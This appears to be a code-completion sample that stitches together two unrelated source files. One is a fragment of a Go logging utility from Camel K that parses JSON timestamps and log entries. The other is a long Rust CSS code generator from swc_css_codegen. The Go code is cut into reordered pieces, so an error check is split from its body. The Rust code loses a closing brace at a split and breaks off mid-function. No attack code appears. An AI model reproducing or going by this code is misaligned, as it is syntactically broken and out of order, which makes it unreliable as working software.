(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package util
import (
"math"
"strconv"
"time"
"go.uber.org/zap/zapcore"
)
type Time struct {
time.Time
}
func (t *Time) UnmarshalJSON(s []byte) (err error) {
f, err := strconv.ParseFloat(string(s), 10)
if err != nil |
ns := (f - math.Floor(f)) * 1000000000
*t = Time{
time.Unix(int64(f), int64(ns)),
}
return nil
}
type LogEntry struct {
// Zap
Level zapcore.Level `json:"level,omitempty"`
Timestamp Time `json:"ts,omitempty"`
LoggerName string `json:"logger,omitempty"`
Message string `json:"msg,omitempty"`
// Controller runtime
RequestNamespace string `json:"request-namespace,omitempty"`
RequestName string `json:"request-name,omitempty"`
ApiVersion string `json:"api-version,omitempty"`
Kind string `json:"kind,omitempty"`
// Camel K
Namespace string `json:"ns,omitempty"`
Name string `json:"name,omitempty"`
Phase string `json:"phase,omitempty"`
PhaseFrom string `json:"phase-from,omitempty"`
PhaseTo string `json:"phase-to,omitempty"`
}
| {
return err
} |
lib.rs | #![deny(clippy::all)]
#![allow(clippy::needless_update)]
pub use std::fmt::Result;
use swc_common::Spanned;
use swc_css_ast::*;
use swc_css_codegen_macros::emitter;
use writer::CssWriter;
pub use self::emit::*;
use self::{ctx::Ctx, list::ListFormat};
#[macro_use]
mod macros;
mod ctx;
mod emit;
mod list;
pub mod writer;
#[derive(Debug, Clone, Copy)]
pub struct CodegenConfig {
pub minify: bool,
}
#[derive(Debug)]
pub struct CodeGenerator<W>
where
W: CssWriter,
{
wr: W,
config: CodegenConfig,
ctx: Ctx,
}
impl<W> CodeGenerator<W>
where
W: CssWriter,
{
pub fn new(wr: W, config: CodegenConfig) -> Self {
CodeGenerator {
wr,
config,
ctx: Default::default(),
}
}
#[emitter]
fn emit_stylesheet(&mut self, n: &Stylesheet) -> Result {
self.emit_list(
&n.rules,
if self.config.minify {
ListFormat::NotDelimited
} else {
ListFormat::NotDelimited | ListFormat::MultiLine
},
)?;
}
#[emitter]
fn emit_rule(&mut self, n: &Rule) -> Result {
match n {
Rule::QualifiedRule(n) => emit!(self, n),
Rule::AtRule(n) => emit!(self, n),
Rule::Invalid(n) => emit!(self, n),
}
}
#[emitter]
fn emit_qualified_rule(&mut self, n: &QualifiedRule) -> Result {
emit!(self, n.prelude);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_at_rule(&mut self, n: &AtRule) -> Result {
match n {
AtRule::Charset(n) => emit!(self, n),
AtRule::Import(n) => emit!(self, n),
AtRule::FontFace(n) => emit!(self, n),
AtRule::Keyframes(n) => emit!(self, n),
AtRule::Layer(n) => emit!(self, n),
AtRule::Media(n) => emit!(self, n),
AtRule::Supports(n) => emit!(self, n),
AtRule::Page(n) => emit!(self, n),
AtRule::PageMargin(n) => emit!(self, n),
AtRule::Namespace(n) => emit!(self, n),
AtRule::Nest(n) => emit!(self, n),
AtRule::Viewport(n) => emit!(self, n),
AtRule::Document(n) => emit!(self, n),
AtRule::ColorProfile(n) => emit!(self, n),
AtRule::CounterStyle(n) => emit!(self, n),
AtRule::Property(n) => emit!(self, n),
AtRule::Unknown(n) => emit!(self, n),
}
}
#[emitter]
fn emit_import_supports_type(&mut self, n: &ImportSupportsType) -> Result {
match n {
ImportSupportsType::SupportsCondition(n) => emit!(self, n),
ImportSupportsType::Declaration(n) => emit!(self, n),
}
}
#[emitter]
fn emit_charset_rule(&mut self, n: &CharsetRule) -> Result {
punct!(self, "@");
keyword!(self, "charset");
// https://drafts.csswg.org/css2/#charset%E2%91%A0
// @charset must be written literally, i.e., the 10 characters '@charset "'
// (lowercase, no backslash escapes), followed by the encoding name, followed by
// ";.
space!(self);
emit!(self, n.charset);
semi!(self);
}
#[emitter]
fn emit_import_rule(&mut self, n: &ImportRule) -> Result {
punct!(self, "@");
keyword!(self, "import");
match n.href {
ImportHref::Url(_) => {
space!(self);
}
ImportHref::Str(_) => {
formatting_space!(self);
}
}
emit!(self, n.href);
if let Some(layer_name) = &n.layer_name {
formatting_space!(self);
emit!(self, layer_name);
if self.config.minify && (n.supports.is_some() || n.media.is_some()) {
if let ImportLayerName::Ident(_) = layer_name {
space!(self);
}
}
}
if let Some(supports) = &n.supports {
formatting_space!(self);
keyword!(self, "supports");
punct!(self, "(");
emit!(self, supports);
punct!(self, ")");
}
if let Some(media) = &n.media {
formatting_space!(self);
emit!(self, media);
}
semi!(self);
}
#[emitter]
fn emit_import_href(&mut self, n: &ImportHref) -> Result {
match n {
ImportHref::Url(n) => emit!(self, n),
ImportHref::Str(n) => emit!(self, n),
}
}
#[emitter]
fn emit_import_layer_name(&mut self, n: &ImportLayerName) -> Result {
match n {
ImportLayerName::Ident(n) => emit!(self, n),
ImportLayerName::Function(n) => emit!(self, n),
}
}
#[emitter]
fn emit_font_face_rule(&mut self, n: &FontFaceRule) -> Result {
punct!(self, "@");
keyword!(self, "font-face");
formatting_space!(self);
emit!(self, n.block); |
#[emitter]
fn emit_keyframes_rule(&mut self, n: &KeyframesRule) -> Result {
punct!(self, "@");
keyword!(self, "keyframes");
match n.name {
KeyframesName::Str(_) => {
formatting_space!(self);
}
KeyframesName::CustomIdent(_) => {
space!(self);
}
}
emit!(self, n.name);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_keyframes_name(&mut self, n: &KeyframesName) -> Result {
match n {
KeyframesName::CustomIdent(n) => emit!(self, n),
KeyframesName::Str(n) => emit!(self, n),
}
}
#[emitter]
fn emit_keyframe_block(&mut self, n: &KeyframeBlock) -> Result {
self.emit_list(&n.prelude, ListFormat::CommaDelimited)?;
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_keyframe_selector(&mut self, n: &KeyframeSelector) -> Result {
match n {
KeyframeSelector::Ident(n) => emit!(self, n),
KeyframeSelector::Percentage(n) => emit!(self, n),
}
}
#[emitter]
fn emit_layer_name(&mut self, n: &LayerName) -> Result {
self.emit_list(&n.name, ListFormat::DotDelimited)?;
}
#[emitter]
fn emit_layer_name_list(&mut self, n: &LayerNameList) -> Result {
self.emit_list(&n.name_list, ListFormat::CommaDelimited)?;
}
#[emitter]
fn emit_layer_prelude(&mut self, n: &LayerPrelude) -> Result {
match n {
LayerPrelude::Name(n) => emit!(self, n),
LayerPrelude::NameList(n) => emit!(self, n),
}
}
#[emitter]
fn emit_layer_rule(&mut self, n: &LayerRule) -> Result {
punct!(self, "@");
keyword!(self, "layer");
if n.prelude.is_some() {
space!(self);
emit!(self, n.prelude);
} else {
formatting_space!(self);
}
if let Some(block) = &n.block {
emit!(self, block);
} else {
semi!(self);
}
}
#[emitter]
fn emit_media_rule(&mut self, n: &MediaRule) -> Result {
punct!(self, "@");
keyword!(self, "media");
if n.media.is_some() {
let need_space = match n.media.as_ref().unwrap().queries.get(0) {
Some(media_query)
if media_query.modifier.is_none() && media_query.media_type.is_none() =>
{
match &media_query.condition {
Some(MediaConditionType::All(media_condition)) => !matches!(
media_condition.conditions.get(0),
Some(MediaConditionAllType::MediaInParens(_))
),
_ => true,
}
}
_ => true,
};
if need_space {
space!(self);
} else {
formatting_space!(self);
}
emit!(self, n.media);
formatting_space!(self);
} else {
formatting_space!(self);
}
emit!(self, n.block);
}
#[emitter]
fn emit_media_query_list(&mut self, n: &MediaQueryList) -> Result {
self.emit_list(&n.queries, ListFormat::CommaDelimited)?;
}
#[emitter]
fn emit_media_query(&mut self, n: &MediaQuery) -> Result {
if n.modifier.is_some() {
emit!(self, n.modifier);
space!(self);
}
if n.media_type.is_some() {
emit!(self, n.media_type);
if n.condition.is_some() {
space!(self);
keyword!(self, "and");
space!(self);
}
}
if n.condition.is_some() {
emit!(self, n.condition);
}
}
#[emitter]
fn emit_media_condition_type(&mut self, n: &MediaConditionType) -> Result {
match n {
MediaConditionType::All(n) => emit!(self, n),
MediaConditionType::WithoutOr(n) => emit!(self, n),
}
}
#[emitter]
fn emit_media_condition(&mut self, n: &MediaCondition) -> Result {
self.emit_list(&n.conditions, ListFormat::NotDelimited)?;
}
#[emitter]
fn emit_media_condition_without_or(&mut self, n: &MediaConditionWithoutOr) -> Result {
self.emit_list(&n.conditions, ListFormat::NotDelimited)?;
}
#[emitter]
fn emit_media_condition_all_type(&mut self, n: &MediaConditionAllType) -> Result {
match n {
MediaConditionAllType::Not(n) => emit!(self, n),
MediaConditionAllType::And(n) => emit!(self, n),
MediaConditionAllType::Or(n) => emit!(self, n),
MediaConditionAllType::MediaInParens(n) => emit!(self, n),
}
}
#[emitter]
fn emit_media_condition_without_or_type(&mut self, n: &MediaConditionWithoutOrType) -> Result {
match n {
MediaConditionWithoutOrType::Not(n) => emit!(self, n),
MediaConditionWithoutOrType::And(n) => emit!(self, n),
MediaConditionWithoutOrType::MediaInParens(n) => emit!(self, n),
}
}
#[emitter]
fn emit_media_not(&mut self, n: &MediaNot) -> Result {
formatting_space!(self);
keyword!(self, "not");
space!(self);
emit!(self, n.condition);
}
#[emitter]
fn emit_media_and(&mut self, n: &MediaAnd) -> Result {
formatting_space!(self);
keyword!(self, "and");
space!(self);
emit!(self, n.condition);
}
#[emitter]
fn emit_media_or(&mut self, n: &MediaOr) -> Result {
formatting_space!(self);
keyword!(self, "or");
space!(self);
emit!(self, n.condition);
}
#[emitter]
fn emit_media_in_parens(&mut self, n: &MediaInParens) -> Result {
match n {
MediaInParens::MediaCondition(n) => {
punct!(self, "(");
emit!(self, n);
punct!(self, ")");
}
MediaInParens::Feature(n) => emit!(self, n),
}
}
#[emitter]
fn emit_media_feature(&mut self, n: &MediaFeature) -> Result {
punct!(self, "(");
match n {
MediaFeature::Plain(n) => emit!(self, n),
MediaFeature::Boolean(n) => emit!(self, n),
MediaFeature::Range(n) => emit!(self, n),
MediaFeature::RangeInterval(n) => emit!(self, n),
}
punct!(self, ")");
}
#[emitter]
fn emit_media_feature_name(&mut self, n: &MediaFeatureName) -> Result {
match n {
MediaFeatureName::Ident(n) => emit!(self, n),
}
}
#[emitter]
fn emit_media_feature_value(&mut self, n: &MediaFeatureValue) -> Result {
match n {
MediaFeatureValue::Number(n) => emit!(self, n),
MediaFeatureValue::Dimension(n) => emit!(self, n),
MediaFeatureValue::Ident(n) => emit!(self, n),
MediaFeatureValue::Ratio(n) => emit!(self, n),
}
}
#[emitter]
fn emit_media_feature_plain(&mut self, n: &MediaFeaturePlain) -> Result {
emit!(self, n.name);
punct!(self, ":");
formatting_space!(self);
emit!(self, n.value);
}
#[emitter]
fn emit_media_feature_boolean(&mut self, n: &MediaFeatureBoolean) -> Result {
emit!(self, n.name);
}
#[emitter]
fn emit_media_feature_range(&mut self, n: &MediaFeatureRange) -> Result {
emit!(self, n.left);
formatting_space!(self);
self.wr.write_punct(None, n.comparison.as_str())?;
formatting_space!(self);
emit!(self, n.right);
}
#[emitter]
fn emit_media_feature_range_interval(&mut self, n: &MediaFeatureRangeInterval) -> Result {
emit!(self, n.left);
formatting_space!(self);
self.wr.write_punct(None, n.left_comparison.as_str())?;
formatting_space!(self);
emit!(self, n.name);
formatting_space!(self);
self.wr.write_punct(None, n.right_comparison.as_str())?;
formatting_space!(self);
emit!(self, n.right);
}
#[emitter]
fn emit_supports_rule(&mut self, n: &SupportsRule) -> Result {
punct!(self, "@");
keyword!(self, "supports");
match n.condition.conditions.get(0) {
Some(SupportsConditionType::SupportsInParens(_)) => {
formatting_space!(self);
}
_ => {
space!(self);
}
}
emit!(self, n.condition);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_supports_condition(&mut self, n: &SupportsCondition) -> Result {
self.emit_list(&n.conditions, ListFormat::NotDelimited)?;
}
#[emitter]
fn emit_supports_condition_type(&mut self, n: &SupportsConditionType) -> Result {
match n {
SupportsConditionType::Not(n) => emit!(self, n),
SupportsConditionType::And(n) => emit!(self, n),
SupportsConditionType::Or(n) => emit!(self, n),
SupportsConditionType::SupportsInParens(n) => emit!(self, n),
}
}
#[emitter]
fn emit_supports_not(&mut self, n: &SupportsNot) -> Result {
formatting_space!(self);
keyword!(self, "not");
space!(self);
emit!(self, n.condition);
}
#[emitter]
fn emit_supports_and(&mut self, n: &SupportsAnd) -> Result {
formatting_space!(self);
keyword!(self, "and");
space!(self);
emit!(self, n.condition);
}
#[emitter]
fn emit_support_or(&mut self, n: &SupportsOr) -> Result {
formatting_space!(self);
keyword!(self, "or");
space!(self);
emit!(self, n.condition);
}
#[emitter]
fn emit_supports_in_parens(&mut self, n: &SupportsInParens) -> Result {
match n {
SupportsInParens::SupportsCondition(n) => {
punct!(self, "(");
emit!(self, n);
punct!(self, ")");
}
SupportsInParens::Feature(n) => emit!(self, n),
SupportsInParens::GeneralEnclosed(n) => emit!(self, n),
}
}
#[emitter]
fn emit_supports_feature(&mut self, n: &SupportsFeature) -> Result {
match n {
SupportsFeature::Declaration(n) => {
punct!(self, "(");
emit!(self, n);
punct!(self, ")");
}
SupportsFeature::Function(n) => emit!(self, n),
}
}
#[emitter]
fn emit_general_enclosed(&mut self, n: &GeneralEnclosed) -> Result {
match n {
GeneralEnclosed::Function(n) => emit!(self, n),
GeneralEnclosed::SimpleBlock(n) => emit!(self, n),
}
}
#[emitter]
fn emit_page_rule(&mut self, n: &PageRule) -> Result {
punct!(self, "@");
keyword!(self, "page");
if let Some(prelude) = &n.prelude {
match prelude.selectors.get(0) {
Some(page_selector) if page_selector.page_type.is_none() => {
formatting_space!(self);
}
_ => {
space!(self);
}
}
emit!(self, prelude);
}
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_page_selector_list(&mut self, n: &PageSelectorList) -> Result {
self.emit_list(&n.selectors, ListFormat::CommaDelimited)?;
}
#[emitter]
fn emit_page_selector(&mut self, n: &PageSelector) -> Result {
if let Some(page_type) = &n.page_type {
emit!(self, page_type);
}
if let Some(pseudos) = &n.pseudos {
self.emit_list(pseudos, ListFormat::NotDelimited)?;
}
}
#[emitter]
fn emit_page_selector_type(&mut self, n: &PageSelectorType) -> Result {
emit!(self, n.value);
}
#[emitter]
fn emit_page_selector_pseudo(&mut self, n: &PageSelectorPseudo) -> Result {
punct!(self, ":");
emit!(self, n.value);
}
#[emitter]
fn emit_page_margin_rule(&mut self, n: &PageMarginRule) -> Result {
punct!(self, "@");
emit!(self, n.name);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_namespace_uri(&mut self, n: &NamespaceUri) -> Result {
match n {
NamespaceUri::Url(n) => emit!(self, n),
NamespaceUri::Str(n) => emit!(self, n),
}
}
#[emitter]
fn emit_namespace_rule(&mut self, n: &NamespaceRule) -> Result {
punct!(self, "@");
keyword!(self, "namespace");
let has_prefix = n.prefix.is_some();
let is_uri_url = match n.uri {
NamespaceUri::Url(_) => true,
NamespaceUri::Str(_) => false,
};
if has_prefix || is_uri_url {
space!(self);
} else {
formatting_space!(self);
}
if has_prefix {
emit!(self, n.prefix);
if is_uri_url {
space!(self);
} else {
formatting_space!(self);
}
}
emit!(self, n.uri);
semi!(self);
}
#[emitter]
fn emit_nest_rule(&mut self, n: &NestRule) -> Result {
punct!(self, "@");
keyword!(self, "nest");
space!(self);
emit!(self, n.prelude);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_viewport_rule(&mut self, n: &ViewportRule) -> Result {
punct!(self, "@");
keyword!(self, "viewport");
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_document_rule(&mut self, n: &DocumentRule) -> Result {
punct!(self, "@");
keyword!(self, "document");
space!(self);
self.emit_list(&n.matching_functions, ListFormat::CommaDelimited)?;
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_document_rule_matching_function(&mut self, n: &DocumentRuleMatchingFunction) -> Result {
match n {
DocumentRuleMatchingFunction::Url(n) => emit!(self, n),
DocumentRuleMatchingFunction::Function(n) => emit!(self, n),
}
}
fn emit_list_values(&mut self, nodes: &[Value], format: ListFormat) -> Result {
let iter = nodes.iter();
let len = nodes.len();
for (idx, node) in iter.enumerate() {
emit!(self, node);
if idx != len - 1 {
let need_delim = match node {
Value::SimpleBlock(_)
| Value::Function(_)
| Value::Color(Color::Function(_))
| Value::Delimiter(_)
| Value::Str(_)
| Value::Url(_)
| Value::Percentage(_) => match nodes.get(idx + 1) {
Some(Value::Delimiter(Delimiter {
value: DelimiterValue::Comma,
..
})) => false,
_ => !self.config.minify,
},
Value::Ident(_) => match nodes.get(idx + 1) {
Some(Value::SimpleBlock(_))
| Some(Value::Color(Color::HexColor(_)))
| Some(Value::Str(_)) => !self.config.minify,
Some(Value::Delimiter(_)) => false,
Some(Value::Number(n)) => {
if self.config.minify {
let minified = minify_numeric(n.value);
!minified.starts_with('.')
} else {
true
}
}
Some(Value::Dimension(dimension)) => {
if self.config.minify {
let value = match dimension {
Dimension::Length(i) => i.value.value,
Dimension::Angle(i) => i.value.value,
Dimension::Time(i) => i.value.value,
Dimension::Frequency(i) => i.value.value,
Dimension::Resolution(i) => i.value.value,
Dimension::Flex(i) => i.value.value,
Dimension::UnknownDimension(i) => i.value.value,
};
let minified = minify_numeric(value);
!minified.starts_with('.')
} else {
true
}
}
_ => true,
},
_ => match nodes.get(idx + 1) {
Some(Value::SimpleBlock(_)) | Some(Value::Color(Color::HexColor(_))) => {
!self.config.minify
}
Some(Value::Delimiter(_)) => false,
_ => true,
},
};
if need_delim {
self.write_delim(format)?;
}
}
}
Ok(())
}
#[emitter]
fn emit_function(&mut self, n: &Function) -> Result {
emit!(self, n.name);
punct!(self, "(");
self.emit_list_values(
&n.value,
ListFormat::SpaceDelimited | ListFormat::SingleLine,
)?;
punct!(self, ")");
}
#[emitter]
fn emit_value(&mut self, n: &Value) -> Result {
match n {
Value::Function(n) => emit!(self, n),
Value::SimpleBlock(n) => emit!(self, n),
Value::Dimension(n) => emit!(self, n),
Value::Integer(n) => emit!(self, n),
Value::Number(n) => emit!(self, n),
Value::Percentage(n) => emit!(self, n),
Value::Ratio(n) => emit!(self, n),
Value::Color(n) => emit!(self, n),
Value::Ident(n) => emit!(self, n),
Value::DashedIdent(n) => emit!(self, n),
Value::Str(n) => emit!(self, n),
Value::CalcSum(n) => emit!(self, n),
Value::Url(n) => emit!(self, n),
Value::Delimiter(n) => emit!(self, n),
Value::UnicodeRange(n) => emit!(self, n),
Value::ComplexSelector(n) => emit!(self, n),
Value::PreservedToken(n) => emit!(self, n),
}
}
#[emitter]
fn emit_at_rule_name(&mut self, n: &AtRuleName) -> Result {
match n {
AtRuleName::Ident(n) => emit!(self, n),
AtRuleName::DashedIdent(n) => emit!(self, n),
}
}
#[emitter]
fn emit_color_profile_name(&mut self, n: &ColorProfileName) -> Result {
match n {
ColorProfileName::Ident(n) => emit!(self, n),
ColorProfileName::DashedIdent(n) => emit!(self, n),
}
}
#[emitter]
fn emit_color_profile_rule(&mut self, n: &ColorProfileRule) -> Result {
punct!(self, "@");
keyword!(self, "color-profile");
space!(self);
emit!(self, n.name);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_counter_style_rule(&mut self, n: &CounterStyleRule) -> Result {
punct!(self, "@");
keyword!(self, "counter-style");
space!(self);
emit!(self, n.name);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_property_rule(&mut self, n: &PropertyRule) -> Result {
punct!(self, "@");
keyword!(self, "property");
space!(self);
emit!(self, n.name);
formatting_space!(self);
emit!(self, n.block);
}
#[emitter]
fn emit_unknown_at_rule(&mut self, n: &UnknownAtRule) -> Result {
punct!(self, "@");
emit!(self, n.name);
self.emit_list(&n.prelude, ListFormat::NotDelimited)?;
if n.block.is_some() {
emit!(self, n.block)
} else {
semi!(self);
}
}
#[emitter]
fn emit_str(&mut self, n: &Str) -> Result {
if self.config.minify {
self.wr.write_str(Some(n.span), &n.value)?;
} else {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
}
#[emitter]
fn emit_simple_block(&mut self, n: &SimpleBlock) -> Result {
let ending = match n.name {
'[' => ']',
'(' => ')',
'{' => '}',
_ => {
unreachable!();
}
};
self.wr.write_raw_char(None, n.name)?;
let len = n.value.len();
for (idx, node) in n.value.iter().enumerate() {
match node {
ComponentValue::StyleBlock(_) if idx == 0 => {
formatting_newline!(self);
}
ComponentValue::Rule(_) | ComponentValue::KeyframeBlock(_) => {
formatting_newline!(self);
}
ComponentValue::DeclarationBlockItem(_) if idx == 0 => {
formatting_newline!(self);
}
_ => {}
}
emit!(self, node);
match node {
ComponentValue::Rule(_) => {
formatting_newline!(self);
}
ComponentValue::StyleBlock(i) => match i {
StyleBlock::AtRule(_) | StyleBlock::QualifiedRule(_) => {
formatting_newline!(self);
}
StyleBlock::Declaration(_) => {
if idx != len - 1 {
semi!(self);
} else {
formatting_semi!(self);
}
formatting_newline!(self);
}
StyleBlock::Invalid(_) => {}
},
ComponentValue::KeyframeBlock(_) => {
if idx == len - 1 {
formatting_newline!(self);
}
}
ComponentValue::DeclarationBlockItem(i) => match i {
DeclarationBlockItem::AtRule(_) => {
formatting_newline!(self);
}
DeclarationBlockItem::Declaration(_) => {
if idx != len - 1 {
semi!(self);
} else {
formatting_semi!(self);
}
formatting_newline!(self);
}
DeclarationBlockItem::Invalid(_) => {}
},
ComponentValue::Value(_) => {
if ending == ']' && idx != len - 1 {
space!(self);
}
}
}
}
self.wr.write_raw_char(None, ending)?;
}
#[emitter]
fn emit_component_value(&mut self, n: &ComponentValue) -> Result {
match n {
ComponentValue::StyleBlock(n) => emit!(self, n),
ComponentValue::DeclarationBlockItem(n) => emit!(self, n),
ComponentValue::Rule(n) => emit!(self, n),
ComponentValue::Value(n) => emit!(self, n),
ComponentValue::KeyframeBlock(n) => emit!(self, n),
}
}
#[emitter]
fn emit_style_block(&mut self, n: &StyleBlock) -> Result {
match n {
StyleBlock::AtRule(n) => emit!(self, n),
StyleBlock::Declaration(n) => emit!(self, n),
StyleBlock::QualifiedRule(n) => emit!(self, n),
StyleBlock::Invalid(n) => emit!(self, n),
}
}
#[emitter]
fn emit_declaration_block_item(&mut self, n: &DeclarationBlockItem) -> Result {
match n {
DeclarationBlockItem::Declaration(n) => emit!(self, n),
DeclarationBlockItem::AtRule(n) => emit!(self, n),
DeclarationBlockItem::Invalid(n) => emit!(self, n),
}
}
#[emitter]
fn emit_declaration(&mut self, n: &Declaration) -> Result {
emit!(self, n.name);
punct!(self, ":");
let is_custom_property = match n.name {
DeclarationName::DashedIdent(_) => true,
DeclarationName::Ident(_) => false,
};
// https://github.com/w3c/csswg-drafts/issues/774
// `--foo: ;` and `--foo:;` is valid, but not all browsers support it, currently
// we print " " (whitespace) always
if is_custom_property {
match n.value.get(0) {
None => {
space!(self);
}
_ => {
formatting_space!(self);
}
};
} else {
formatting_space!(self);
}
if is_custom_property {
self.emit_list(&n.value, ListFormat::NotDelimited)?;
} else {
self.emit_list_values(
&n.value,
ListFormat::SpaceDelimited | ListFormat::SingleLine,
)?;
}
if n.important.is_some() {
if !is_custom_property {
formatting_space!(self);
}
emit!(self, n.important);
}
}
#[emitter]
fn emit_declaration_name(&mut self, n: &DeclarationName) -> Result {
match n {
DeclarationName::Ident(n) => emit!(self, n),
DeclarationName::DashedIdent(n) => emit!(self, n),
}
}
#[emitter]
fn emit_important_flag(&mut self, n: &ImportantFlag) -> Result {
punct!(self, "!");
if self.config.minify {
self.wr.write_raw(None, "important")?;
} else {
emit!(self, n.value);
}
}
#[emitter]
fn emit_ident(&mut self, n: &Ident) -> Result {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
#[emitter]
fn emit_custom_ident(&mut self, n: &CustomIdent) -> Result {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
#[emitter]
fn emit_dashed_ident(&mut self, n: &DashedIdent) -> Result {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
#[emitter]
fn emit_percentage(&mut self, n: &Percentage) -> Result {
emit!(self, n.value);
punct!(self, "%");
}
#[emitter]
fn emit_dimension(&mut self, n: &Dimension) -> Result {
match n {
Dimension::Length(n) => emit!(self, n),
Dimension::Angle(n) => emit!(self, n),
Dimension::Time(n) => emit!(self, n),
Dimension::Frequency(n) => emit!(self, n),
Dimension::Resolution(n) => emit!(self, n),
Dimension::Flex(n) => emit!(self, n),
Dimension::UnknownDimension(n) => emit!(self, n),
}
}
#[emitter]
fn emit_lenth(&mut self, n: &Length) -> Result {
emit!(self, n.value);
emit!(self, n.unit);
}
#[emitter]
fn emit_angle(&mut self, n: &Angle) -> Result {
emit!(self, n.value);
emit!(self, n.unit);
}
#[emitter]
fn emit_time(&mut self, n: &Time) -> Result {
emit!(self, n.value);
emit!(self, n.unit);
}
#[emitter]
fn emit_frequency(&mut self, n: &Frequency) -> Result {
emit!(self, n.value);
emit!(self, n.unit);
}
#[emitter]
fn emit_resolution(&mut self, n: &Resolution) -> Result {
emit!(self, n.value);
emit!(self, n.unit);
}
#[emitter]
fn emit_flex(&mut self, n: &Flex) -> Result {
emit!(self, n.value);
emit!(self, n.unit);
}
#[emitter]
fn emit_unknown_dimension(&mut self, n: &UnknownDimension) -> Result {
emit!(self, n.value);
emit!(self, n.unit);
}
#[emitter]
fn emit_integer(&mut self, n: &Integer) -> Result {
if self.config.minify {
self.wr.write_raw(Some(n.span), &n.value.to_string())?;
} else {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
}
#[emitter]
fn emit_number(&mut self, n: &Number) -> Result {
if self.config.minify {
let minified = minify_numeric(n.value);
self.wr.write_raw(Some(n.span), &minified)?;
} else {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
}
#[emitter]
fn emit_ration(&mut self, n: &Ratio) -> Result {
emit!(self, n.left);
if let Some(right) = &n.right {
punct!(self, "/");
emit!(self, right);
}
}
#[emitter]
fn emit_color(&mut self, n: &Color) -> Result {
match n {
Color::HexColor(n) => emit!(self, n),
Color::Function(n) => emit!(self, n),
}
}
#[emitter]
fn emit_hex_color(&mut self, n: &HexColor) -> Result {
punct!(self, "#");
if self.config.minify {
let minified = minify_hex_color(&n.value);
self.wr.write_raw(Some(n.span), &minified)?;
} else {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
}
#[emitter]
fn emit_delimiter(&mut self, n: &Delimiter) -> Result {
punct!(self, n.value.as_str());
}
#[emitter]
fn emit_calc_sum(&mut self, n: &CalcSum) -> Result {
self.emit_list(&n.expressions, ListFormat::NotDelimited)?;
}
#[emitter]
fn emit_calc_product_or_operator(&mut self, n: &CalcProductOrOperator) -> Result {
match n {
CalcProductOrOperator::Product(n) => emit!(self, n),
CalcProductOrOperator::Operator(n) => emit!(self, n),
}
}
#[emitter]
fn emit_calc_operator(&mut self, n: &CalcOperator) -> Result {
let need_space = matches!(n.value, CalcOperatorType::Add | CalcOperatorType::Sub);
if need_space {
space!(self);
} else {
formatting_space!(self);
}
punct!(self, n.value.as_str());
if need_space {
space!(self);
} else {
formatting_space!(self);
}
}
#[emitter]
fn emit_calc_product(&mut self, n: &CalcProduct) -> Result {
self.emit_list(&n.expressions, ListFormat::None)?;
}
#[emitter]
fn emit_calc_value_or_operator(&mut self, n: &CalcValueOrOperator) -> Result {
match n {
CalcValueOrOperator::Value(n) => emit!(self, n),
CalcValueOrOperator::Operator(n) => emit!(self, n),
}
}
#[emitter]
fn emit_calc_value(&mut self, n: &CalcValue) -> Result {
match n {
CalcValue::Number(n) => emit!(self, n),
CalcValue::Dimension(n) => emit!(self, n),
CalcValue::Percentage(n) => emit!(self, n),
CalcValue::Constant(n) => emit!(self, n),
CalcValue::Sum(n) => {
punct!(self, "(");
emit!(self, n);
punct!(self, ")");
}
CalcValue::Function(n) => emit!(self, n),
}
}
#[emitter]
fn emit_token_and_span(&mut self, n: &TokenAndSpan) -> Result {
let span = n.span;
match &n.token {
Token::AtKeyword { raw, .. } => {
punct!(self, span, "@");
self.wr.write_raw(Some(n.span), raw)?;
}
Token::Delim { value } => {
self.wr.write_raw_char(Some(n.span), *value)?;
}
Token::LParen => {
punct!(self, span, "(");
}
Token::RParen => {
punct!(self, span, ")");
}
Token::LBracket => {
punct!(self, span, "[");
}
Token::RBracket => {
punct!(self, span, "]");
}
Token::Number { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
}
Token::Percentage { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
punct!(self, "%");
}
Token::Dimension {
raw_value,
raw_unit,
..
} => {
self.wr.write_raw(Some(span), raw_value)?;
self.wr.write_raw(Some(span), raw_unit)?;
}
Token::Ident { raw, .. } => {
self.wr.write_raw(Some(n.span), raw)?;
}
Token::Function { raw, .. } => {
self.wr.write_raw(Some(n.span), raw)?;
punct!(self, "(");
}
Token::BadString { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
}
Token::String { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
}
Token::Url {
raw_name,
raw_value,
before,
after,
..
} => {
self.wr.write_raw(None, raw_name)?;
punct!(self, "(");
self.wr.write_raw(None, before)?;
self.wr.write_raw(None, raw_value)?;
self.wr.write_raw(None, after)?;
punct!(self, ")");
}
Token::BadUrl {
raw_name,
raw_value,
..
} => {
self.wr.write_raw(Some(span), raw_name)?;
punct!(self, "(");
self.wr.write_raw(None, raw_value)?;
punct!(self, ")");
}
Token::Comma => {
punct!(self, span, ",");
}
Token::Semi => {
punct!(self, span, ";");
}
Token::LBrace => {
punct!(self, span, "{");
}
Token::RBrace => {
punct!(self, span, "}");
}
Token::Colon => {
punct!(self, span, ":");
}
Token::Hash { raw, .. } => {
punct!(self, "#");
self.wr.write_raw(Some(span), raw)?;
}
Token::WhiteSpace { value, .. } => {
